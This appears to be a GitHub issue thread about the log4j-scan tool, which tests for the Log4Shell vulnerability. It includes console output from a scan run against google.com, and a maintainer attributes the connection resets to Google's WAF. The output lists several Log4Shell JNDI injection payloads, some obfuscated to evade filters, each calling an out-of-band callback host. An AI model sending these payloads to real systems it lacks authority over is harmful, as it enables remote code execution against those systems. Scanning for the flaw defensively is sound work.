Closed PrestonD88 closed 2 years ago
@PrestonD88
A few follow-up questions:
This can be caused by the two sides of the connection disagreeing over whether the connection timed out or not during a keepalive.
Even simple http to google.com gave same response.
python3 log4j-scan.py -u "http://google.com" --waf-bypass
[32m[•] CVE-2021-44228 - Apache Log4j RCE Scanner[0m [33m[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.[0m [33m[•] Secure your External Attack Surface with FullHunt.io.[0m [•] Initiating DNS callback server (interact.sh).[0m [35m[%] Checking for Log4j RCE CVE-2021-44228.[0m [35m[•] URL: http://google.com[0m [36m[•] URL: http://google.com | PAYLOAD: ${jndi:ldap://google.com.5k0911m2v8bf475r8450315h37smi198b.interact.sh/gpyd2jx}[0m EXCEPTION: ('Connection aborted.', ConnectionResetError(10054, 'An existing connection was forcibly closed by the remote host', None, 10054, None))[0m [36m[•] URL: http://google.com | PAYLOAD: ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://google.com.5k0911m2v8bf475r8450315h37smi198b.interact.sh/gpyd2jx}[0m EXCEPTION: ('Connection aborted.', ConnectionResetError(10054, 'An existing connection was forcibly closed by the remote host', None, 10054, None))[0m [36m[•] URL: http://google.com | PAYLOAD: ${${::-j}ndi:rmi://google.com.5k0911m2v8bf475r8450315h37smi198b.interact.sh/gpyd2jx}[0m EXCEPTION: ('Connection aborted.', ConnectionResetError(10054, 'An existing connection was forcibly closed by the remote host', None, 10054, None))[0m [36m[•] URL: http://google.com | PAYLOAD: ${jndi:rmi://google.com.5k0911m2v8bf475r8450315h37smi198b.interact.sh}[0m EXCEPTION: ('Connection aborted.', ConnectionResetError(10054, 'An existing connection was forcibly closed by the remote host', None, 10054, None))[0m [36m[•] URL: http://google.com | PAYLOAD: ${${lower:jndi}:${lower:rmi}://google.com.5k0911m2v8bf475r8450315h37smi198b.interact.sh/gpyd2jx}[0m EXCEPTION: ('Connection aborted.', ConnectionResetError(10054, 'An existing connection was forcibly closed by the remote host', None, 10054, None))[0m [36m[•] URL: http://google.com | PAYLOAD: ${${lower:${lower:jndi}}:${lower:rmi}://google.com.5k0911m2v8bf475r8450315h37smi198b.interact.sh/gpyd2jx}[0m EXCEPTION: ('Connection aborted.', ConnectionResetError(10054, 'An existing connection was forcibly closed by the remote host', None, 10054, None))[0m [36m[•] URL: http://google.com | PAYLOAD: ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://google.com.5k0911m2v8bf475r8450315h37smi198b.interact.sh/gpyd2jx}[0m EXCEPTION: ('Connection aborted.', ConnectionResetError(10054, 'An existing connection was forcibly closed by the remote host', None, 10054, None))[0m [36m[•] URL: http://google.com | PAYLOAD: ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://google.com.5k0911m2v8bf475r8450315h37smi198b.interact.sh/gpyd2jx}[0m EXCEPTION: ('Connection aborted.', ConnectionResetError(10054, 'An existing connection was forcibly closed by the remote host', None, 10054, None))[0m [36m[•] URL: http://google.com | PAYLOAD: ${jndi:dns://google.com.5k0911m2v8bf475r8450315h37smi198b.interact.sh}[0m EXCEPTION: ('Connection aborted.', ConnectionResetError(10054, 'An existing connection was forcibly closed by the remote host', None, 10054, None))[0m [36m[•] Payloads sent to all URLs. Waiting for DNS OOB callbacks.[0m [36m[•] Waiting...[0m [32m[•] Targets does not seem to be vulnerable.[0m
@PrestonD88
Thanks for the output!
We believe this is normal behavior.
Google has WAF in front of their applications and are likely dropping/rejecting your packets.
An existing connection was forcibly closed by the remote host'
It appears like that GET/POST requests are being performed by the script. http://google.com
is redirected to https://www.google.com
as well. You can use --disable-http-redirects
to prevent this behavior from happening.
Hope this helps. Closing this issue since the HTTP endpoint does not appear to hinder the scanning itself.
I Get following error when i try for http protocol
EXCEPTION: ('Connection aborted.', ConnectionResetError(10054, 'An existing connection was forcibly closed by the remote host', None, 10054, None))[0m